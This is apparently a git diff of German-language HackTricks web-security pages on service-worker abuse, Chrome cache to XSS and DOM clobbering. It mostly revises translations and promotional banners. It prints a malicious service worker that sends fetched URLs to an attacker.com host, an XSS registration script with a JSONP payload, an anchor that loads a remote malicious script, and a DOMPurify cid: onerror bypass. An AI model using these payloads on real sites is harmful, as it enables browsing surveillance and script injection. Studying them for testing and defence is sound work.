* Eine **anfällige JSONP-Anfrage**, bei der Sie **die Ausgabe (mit beliebigem JS-Code) manipulieren können**, und ein **XSS**, um **den JSONP mit einem Payload zu laden**, der einen bösartigen Service Worker lädt.
|
||||
* Eine Möglichkeit, **willkürliche JS**-Dateien auf den Server hochzuladen und ein **XSS, um den Service Worker** der hochgeladenen JS-Datei zu laden
|
||||
* Eine **verwundbare JSONP-Anfrage**, bei der Sie **die Ausgabe (mit willkürlichem JS-Code)** **manipulieren** können und ein **XSS**, um **die JSONP mit einem Payload** zu **laden**, der **einen bösartigen Service Worker** **lädt**.
|
||||
|
||||
Im folgenden Beispiel werde ich einen Code präsentieren, um einen **neuen Service Worker zu registrieren**, der auf das `fetch`-Ereignis hört und **jede abgerufene URL an den Server der Angreifer sendet** (dies ist der Code, den Sie zum **Hochladen** auf den **Server** oder zum Laden über eine **anfällige JSONP**-Antwort benötigen):
|
||||
Im folgenden Beispiel werde ich einen Code präsentieren, um einen **neuen Service Worker** zu **registrieren**, der das `fetch`-Ereignis abhört und **jede abgerufene URL an den Server des Angreifers sendet** (dies ist der Code, den Sie **hochladen** müssten, um ihn auf den **Server** zu **laden** oder über eine **verwundbare JSONP**-Antwort zu laden):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
Und dies ist der Code, der den Worker registriert (den Code, den Sie ausführen können, indem Sie ein XSS missbrauchen). In diesem Fall wird eine GET-Anfrage an den Server der Angreifer gesendet, um zu benachrichtigen, ob die Registrierung des Service Workers erfolgreich war oder nicht:
|
||||
Und dies ist der Code, der den **Worker registriert** (den Code, den Sie ausführen sollten, indem Sie eine **XSS** ausnutzen). In diesem Fall wird eine **GET**-Anfrage an den **Angreifer**-Server gesendet, die **benachrichtigt**, ob die **Registrierung** des Service Workers erfolgreich war oder nicht:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
@ -67,21 +67,21 @@ xhttp2.send();
|
|||
});
|
||||
</script>
|
||||
```
|
||||
Im Falle der Ausnutzung eines anfälligen JSONP-Endpunkts sollten Sie den Wert innerhalb von `var sw` platzieren. Zum Beispiel:
|
||||
Im Falle des Missbrauchs eines anfälligen JSONP-Endpunkts sollten Sie den Wert in `var sw` einfügen. Zum Beispiel:
|
||||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
Es gibt ein **C2**, das der **Ausnutzung von Service Workern** gewidmet ist, namens [**Shadow Workers**](https://shadow-workers.github.io), das sehr nützlich sein wird, um diese Schwachstellen auszunutzen.
|
||||
|
||||
Die **24-Stunden-Cache-Anweisung** begrenzt die Lebensdauer eines bösartigen oder kompromittierten **Service Workers (SW)** auf höchstens 24 Stunden nach Behebung einer XSS-Schwachstelle, vorausgesetzt, der Client ist online. Um die Schwachstelle zu minimieren, können Seitenbetreiber die Time-To-Live (TTL) des SW-Skripts senken. Entwicklern wird auch empfohlen, einen [**Service Worker Kill-Switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) für eine schnelle Deaktivierung zu erstellen.
|
||||
Die **24-Stunden-Cache-Direktive** begrenzt die Lebensdauer eines bösartigen oder kompromittierten **Service Workers (SW)** auf maximal 24 Stunden nach einer XSS-Schwachstellenbehebung, vorausgesetzt, der Online-Client-Status. Um die Verwundbarkeit zu minimieren, können die Betreiber der Website die Time-To-Live (TTL) des SW-Skripts senken. Entwicklern wird auch geraten, einen [**Service Worker Kill-Switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) für eine schnelle Deaktivierung zu erstellen.
|
||||
|
||||
## Ausnutzung von `importScripts` in einem SW über DOM Clobbering
|
||||
|
||||
Die Funktion **`importScripts`**, die von einem Service Worker aufgerufen wird, kann ein Skript von einer anderen Domain **importieren**. Wenn diese Funktion mit einem **Parameter aufgerufen wird, den ein Angreifer** ändern könnte, könnte er ein JS-Skript von seiner Domain **importieren** und XSS erhalten.
|
||||
Die Funktion **`importScripts`**, die von einem Service Worker aufgerufen wird, kann **ein Skript von einer anderen Domain importieren**. Wenn diese Funktion mit einem **Parameter aufgerufen wird, den ein Angreifer** ändern könnte, wäre er in der Lage, **ein JS-Skript von seiner Domain zu importieren** und XSS zu erhalten.
|
||||
|
||||
**Dies umgeht sogar CSP-Schutzmaßnahmen.**
|
||||
|
||||
**Beispielhafter anfälliger Code:**
|
||||
**Beispiel für anfälligen Code:**
|
||||
|
||||
* **index.html**
|
||||
```html
|
||||
|
@ -105,9 +105,9 @@ Für weitere Informationen darüber, was DOM Clobbering ist, siehe:
|
|||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Wenn die URL/Domäne, die der SW verwendet, um **`importScripts`** aufzurufen, **innerhalb eines HTML-Elements** liegt, ist es **möglich, sie über DOM Clobbering zu modifizieren**, um den SW **ein Skript von Ihrer eigenen Domäne laden zu lassen**.
|
||||
Wenn die URL/Domäne, die der SW verwendet, um **`importScripts`** aufzurufen, **innerhalb eines HTML-Elements** ist, ist es **möglich, sie über DOM Clobbering zu modifizieren**, um die SW **ein Skript von deiner eigenen Domäne laden zu lassen**.
|
||||
|
||||
Für ein Beispiel hierzu siehe den Referenzlink.
|
||||
Für ein Beispiel dazu siehe den Referenzlink.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -119,14 +119,17 @@ Für ein Beispiel hierzu siehe den Referenzlink.
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,56 @@
|
|||
# Chrome Cache zu XSS
|
||||
# Chrome Cache to XSS
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Weitere detaillierte Informationen finden Sie [**in diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
Mehr detaillierte Informationen [**in diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
|
||||
Die hier diskutierte Technik beinhaltet das Verständnis des Verhaltens und der Interaktion von zwei primären Cache-Typen: dem **Back/Forward-Cache (bfcache)** und dem **Disk-Cache**. Der bfcache, der eine vollständige Momentaufnahme einer Seite einschließlich des JavaScript-Heaps speichert, hat Vorrang vor dem Disk-Cache für Back/Forward-Navigationen aufgrund seiner Fähigkeit, eine umfassendere Momentaufnahme zu speichern. Der Disk-Cache hingegen speichert Ressourcen, die aus dem Web abgerufen wurden, ohne den JavaScript-Heap zu enthalten, und wird für Back/Forward-Navigationen genutzt, um Kommunikationskosten zu reduzieren. Ein interessanter Aspekt des Disk-Cache ist die Einbeziehung von mit `fetch` abgerufenen Ressourcen, was bedeutet, dass aufgerufene URL-Ressourcen vom Browser aus dem Cache gerendert werden.
|
||||
Die hier diskutierte Technik beinhaltet das Verständnis des Verhaltens und der Interaktion von zwei primären Cache-Typen: dem **back/forward cache (bfcache)** und dem **Disk-Cache**. Der bfcache, der einen vollständigen Snapshot einer Seite einschließlich des JavaScript-Heaps speichert, hat Vorrang vor dem Disk-Cache bei Rückwärts-/Vorwärtsnavigationen aufgrund seiner Fähigkeit, einen umfassenderen Snapshot zu speichern. Der Disk-Cache hingegen speichert Ressourcen, die aus dem Web abgerufen wurden, ohne den JavaScript-Heap einzuschließen, und wird für Rückwärts-/Vorwärtsnavigationen verwendet, um Kommunikationskosten zu reduzieren. Ein interessanter Aspekt des Disk-Caches ist seine Einbeziehung von Ressourcen, die mit `fetch` abgerufen wurden, was bedeutet, dass aufgerufene URL-Ressourcen vom Browser aus dem Cache gerendert werden.
|
||||
|
||||
### Schlüsselpunkte:
|
||||
### Wichtige Punkte:
|
||||
|
||||
- Der **bfcache** hat Vorrang vor dem Disk-Cache bei Back/Forward-Navigationen.
|
||||
- Um eine im Disk-Cache gespeicherte Seite anstelle des bfcache zu nutzen, muss letzterer deaktiviert werden.
|
||||
- Der **bfcache** hat Vorrang vor dem Disk-Cache bei Rückwärts-/Vorwärtsnavigationen.
|
||||
- Um eine Seite, die im Disk-Cache gespeichert ist, anstelle des bfcache zu nutzen, muss letzterer deaktiviert werden.
|
||||
|
||||
Deaktivierung des bfcache:
|
||||
### Deaktivierung des bfcache:
|
||||
|
||||
Standardmäßig deaktiviert Puppeteer den bfcache, entsprechend den in der Dokumentation von Chromium aufgeführten Bedingungen. Eine effektive Methode zur Deaktivierung des bfcache besteht darin, `RelatedActiveContentsExist` zu verwenden, indem eine Seite mit `window.open()` geöffnet wird, die eine Referenz zu `window.opener` beibehält.
|
||||
Standardmäßig deaktiviert Puppeteer den bfcache, was mit den in der Chromium-Dokumentation aufgeführten Bedingungen übereinstimmt. Eine effektive Methode zur Deaktivierung des bfcache ist die Verwendung von `RelatedActiveContentsExist`, die erreicht wird, indem eine Seite mit `window.open()` geöffnet wird, die eine Referenz zu `window.opener` beibehält.
|
||||
|
||||
Nachstellung des Verhaltens:
|
||||
### Verhalten reproduzieren:
|
||||
|
||||
1. Besuchen Sie eine Webseite, z.B. `https://example.com`.
|
||||
2. Führen Sie `open("http://spanote.seccon.games:3000/api/token")` aus, was zu einer Serverantwort mit dem Statuscode 500 führt.
|
||||
3. Navigieren Sie im neu geöffneten Tab zu `http://spanote.seccon.games:3000/`. Diese Aktion speichert die Antwort von `http://spanote.seccon.games:3000/api/token` als Disk-Cache.
|
||||
4. Verwenden Sie `history.back()`, um zurückzunavigieren. Die Aktion führt zur Darstellung der zwischengespeicherten JSON-Antwort auf der Seite.
|
||||
1. Besuche eine Webseite, z.B. `https://example.com`.
|
||||
2. Führe `open("http://spanote.seccon.games:3000/api/token")` aus, was zu einer Serverantwort mit einem 500-Statuscode führt.
|
||||
3. Navigiere im neu geöffneten Tab zu `http://spanote.seccon.games:3000/`. Diese Aktion cached die Antwort von `http://spanote.seccon.games:3000/api/token` als Disk-Cache.
|
||||
4. Verwende `history.back()`, um zurück zu navigieren. Die Aktion führt dazu, dass die zwischengespeicherte JSON-Antwort auf der Seite gerendert wird.
|
||||
|
||||
Die Bestätigung, dass der Disk-Cache genutzt wurde, kann mithilfe von DevTools in Google Chrome erfolgen.
|
||||
Die Überprüfung, dass der Disk-Cache verwendet wurde, kann durch die Verwendung von DevTools in Google Chrome bestätigt werden.
|
||||
|
||||
Weitere Details zum bfcache und Disk-Cache finden Sie in den Referenzen zu [web.dev über bfcache](https://web.dev/i18n/en/bfcache/) und [Chromiums Design-Dokumenten zum Disk-Cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/).
|
||||
Für weitere Details zu bfcache und Disk-Cache können Referenzen auf [web.dev zu bfcache](https://web.dev/i18n/en/bfcache/) und [Chromiums Entwurfsdokumente zum Disk-Cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/) gefunden werden.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Dom Clobbering
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Grundlagen**
|
||||
|
||||
|
@ -19,18 +22,18 @@ Es ist möglich, **globale Variablen im JS-Kontext** mit den Attributen **`id`**
|
|||
<form id=x></form>
|
||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||
```
|
||||
**Nur** bestimmte Elemente können das **name-Attribut** verwenden, um globale Variablen zu überschreiben. Diese sind: `embed`, `form`, `iframe`, `image`, `img` und `object`.
|
||||
**Nur** bestimmte Elemente können das **name-Attribut** verwenden, um Globals zu clobbern, und zwar: `embed`, `form`, `iframe`, `image`, `img` und `object`.
|
||||
|
||||
Interessanterweise erhält man, wenn man ein **Formularelement** verwendet, um eine Variable zu überschreiben, den **`toString`**-Wert des Elements selbst: `[object HTMLFormElement]`, aber mit dem **Anker** ist der **`toString`** der Anker-**href**. Daher kann man, wenn man das **`a`**-Tag verwendet, die **Wert** kontrollieren, wenn es als **Zeichenkette** behandelt wird:
|
||||
Interessanterweise, wenn Sie ein **Formular-Element** verwenden, um eine Variable zu **clobbern**, erhalten Sie den **`toString`**-Wert des Elements selbst: `[object HTMLFormElement]`, aber bei **Anker** wird der **`toString`** der Anker **`href`** sein. Daher können Sie, wenn Sie mit dem **`a`**-Tag clobbern, den **Wert** steuern, wenn er **als Zeichenfolge** behandelt wird:
|
||||
```html
|
||||
<a href="controlled string" id=x></a>
|
||||
<script>
|
||||
console.log(x);//controlled string
|
||||
</script>
|
||||
```
|
||||
### Arrays & Attribute
|
||||
### Arrays & Attributes
|
||||
|
||||
Es ist auch möglich, ein Array und Objektattribute zu **überschreiben**:
|
||||
Es ist auch möglich, ein **Array** und **Objektattribute** zu **überschreiben**:
|
||||
```html
|
||||
<a id=x>
|
||||
<a id=x name=y href=controlled>
|
||||
|
@ -39,7 +42,7 @@ console.log(x[1])//controlled
|
|||
console.log(x.y)//controlled
|
||||
</script>
|
||||
```
|
||||
Um **ein drittes Attribut** (z. B. x.y.z) zu überschreiben, müssen Sie ein **`form`** verwenden:
|
||||
Um **ein 3. Attribut** (z.B. x.y.z) zu überschreiben, müssen Sie ein **`form`** verwenden:
|
||||
```html
|
||||
<form id=x name=y><input id=z value=controlled></form>
|
||||
<form id=x></form>
|
||||
|
@ -47,17 +50,17 @@ Um **ein drittes Attribut** (z. B. x.y.z) zu überschreiben, müssen Sie ein **`
|
|||
alert(x.y.z.value)//controlled
|
||||
</script>
|
||||
```
|
||||
Das Überschreiben weiterer Attribute ist **komplizierter, aber immer noch möglich**, indem man iframes verwendet:
|
||||
Clobbering mehr Attribute ist **komplizierter, aber immer noch möglich**, unter Verwendung von iframes:
|
||||
```html
|
||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
<script>alert(x.y)//controlled</script>
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Der style-Tag wird verwendet, um dem iframe genügend Zeit zum Rendern zu geben. Ohne ihn erhalten Sie eine Warnung für "undefined".
|
||||
Das style-Tag wird verwendet, um **genug Zeit für das Rendern des iframes zu geben**. Ohne es erhalten Sie eine Warnung von **undefined**.
|
||||
{% endhint %}
|
||||
|
||||
Um tiefere Attribute zu überschreiben, können Sie **iframes mit HTML-Codierung** verwenden, wie folgt:
|
||||
Um tiefere Attribute zu überschreiben, können Sie **iframes mit HTML-Codierung** auf diese Weise verwenden:
|
||||
```html
|
||||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
|
@ -65,9 +68,9 @@ Um tiefere Attribute zu überschreiben, können Sie **iframes mit HTML-Codierung
|
|||
alert(a.b.c.d.e)//controlled
|
||||
</script>
|
||||
```
|
||||
### **Filterumgehung**
|
||||
### **Filter Bypassing**
|
||||
|
||||
Wenn ein Filter die **Eigenschaften** eines Knotens mit etwas wie `document.getElementByID('x').attributes` **durchläuft**, könnten Sie das Attribut **`.attributes`** **überschreiben** und den Filter **außer Kraft setzen**. Andere DOM-Eigenschaften wie **`tagName`**, **`nodeName`** oder **`parentNode`** und mehr sind ebenfalls **überschreibbar**.
|
||||
Wenn ein Filter durch die **Eigenschaften** eines Knotens mit etwas wie `document.getElementByID('x').attributes` **schleift**, könntest du das Attribut **`.attributes`** **überschreiben** und den Filter **unterbrechen**. Andere DOM-Eigenschaften wie **`tagName`**, **`nodeName`** oder **`parentNode`** und mehr sind ebenfalls **überschreibbar**.
|
||||
```html
|
||||
<form id=x></form>
|
||||
<form id=y>
|
||||
|
@ -78,13 +81,13 @@ console.log(document.getElementById('x').nodeName)//FORM
|
|||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||
</script>
|
||||
```
|
||||
## **Überschreiben von `window.someObject`**
|
||||
## **Clobbering `window.someObject`**
|
||||
|
||||
In JavaScript ist es üblich, Folgendes zu finden:
|
||||
```javascript
|
||||
var someObject = window.someObject || {};
|
||||
```
|
||||
Die Manipulation von HTML auf der Seite ermöglicht das Überschreiben von `someObject` mit einem DOM-Knoten und kann potenziell Sicherheitslücken verursachen. Zum Beispiel können Sie `someObject` durch ein Anker-Element ersetzen, das auf ein bösartiges Skript verweist:
|
||||
Das Manipulieren von HTML auf der Seite ermöglicht das Überschreiben von `someObject` mit einem DOM-Knoten, was potenziell Sicherheitsanfälligkeiten einführt. Zum Beispiel können Sie `someObject` durch ein Ankerelement ersetzen, das auf ein bösartiges Skript verweist:
|
||||
```html
|
||||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||||
```
|
||||
|
@ -101,23 +104,23 @@ document.body.appendChild(script);
|
|||
```
|
||||
Diese Methode nutzt die Skriptquelle aus, um unerwünschten Code auszuführen.
|
||||
|
||||
**Trick**: **`DOMPurify`** ermöglicht die Verwendung des Protokolls **`cid:`**, das **Anführungszeichen nicht URL-codiert**. Dies bedeutet, dass Sie ein codiertes Anführungszeichen injizieren können, das zur Laufzeit decodiert wird. Daher führt das Injizieren von etwas wie **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** dazu, dass das HTML-codierte `"` zur Laufzeit **decodiert** wird und aus dem Attributwert **entkommt**, um das Ereignis **`onerror`** zu **erzeugen**.
|
||||
**Trick**: **`DOMPurify`** erlaubt es, das **`cid:`**-Protokoll zu verwenden, das **doppelte Anführungszeichen nicht URL-kodiert**. Das bedeutet, dass Sie **ein kodiertes doppeltes Anführungszeichen injizieren können, das zur Laufzeit dekodiert wird**. Daher wird das Injizieren von etwas wie **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** dazu führen, dass das HTML-kodierte `"` **zur Laufzeit dekodiert** wird und **aus dem Attributwert entkommt**, um das **`onerror`**-Ereignis zu **erzeugen**.
|
||||
|
||||
Eine andere Technik verwendet ein **`form`**-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formulars, um sie zu bereinigen. Durch Hinzufügen eines `input` mit `id=attributes` innerhalb des Formulars überschreiben Sie effektiv das Attribut `attributes` und verhindern, dass der Sanitizer auf die tatsächlichen Attribute zugreift.
|
||||
Eine andere Technik verwendet ein **`form`**-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formularelements, um sie zu bereinigen. Durch das Hinzufügen eines `input` mit `id=attributes` innerhalb des Formulars überschreiben Sie jedoch effektiv die Eigenschaften der Attribute, wodurch der Sanitizer daran gehindert wird, auf die tatsächlichen Attribute zuzugreifen.
|
||||
|
||||
Sie können [**ein Beispiel für diese Art von Clobbering in diesem CTF-Writeup finden**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
Sie können [**ein Beispiel für diese Art von Clobbering in diesem CTF-Bericht finden**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
|
||||
## Überschreiben des Dokumentobjekts
|
||||
## Clobbering des Dokumentobjekts
|
||||
|
||||
Gemäß der Dokumentation ist es möglich, Attribute des Dokumentobjekts mit DOM Clobbering zu überschreiben:
|
||||
Laut der Dokumentation ist es möglich, Attribute des Dokumentobjekts mithilfe von DOM Clobbering zu überschreiben:
|
||||
|
||||
> Das [Document](https://html.spec.whatwg.org/multipage/dom.html#document)-Interface [unterstützt benannte Eigenschaften](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Die [unterstützten Eigenschaftsnamen](https://webidl.spec.whatwg.org/#dfn-supported-property-names) eines [Document](https://html.spec.whatwg.org/multipage/dom.html#document)-Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in [Baumreihenfolge](https://dom.spec.whatwg.org/#concept-tree-order) entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden und Werte von [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)-Attributen vor Werten von name-Attributen stehen, wenn dasselbe Element sowohl das eine als auch das andere beiträgt:
|
||||
> Die [Document](https://html.spec.whatwg.org/multipage/dom.html#document) Schnittstelle [unterstützt benannte Eigenschaften](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Die [unterstützten Eigenschaftsnamen](https://webidl.spec.whatwg.org/#dfn-supported-property-names) eines [Document](https://html.spec.whatwg.org/multipage/dom.html#document) Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in [Baumreihenfolge](https://dom.spec.whatwg.org/#concept-tree-order) entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden, und mit Werten aus [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Attributen, die vor Werten aus Namensattributen kommen, wenn dasselbe Element beide beiträgt:
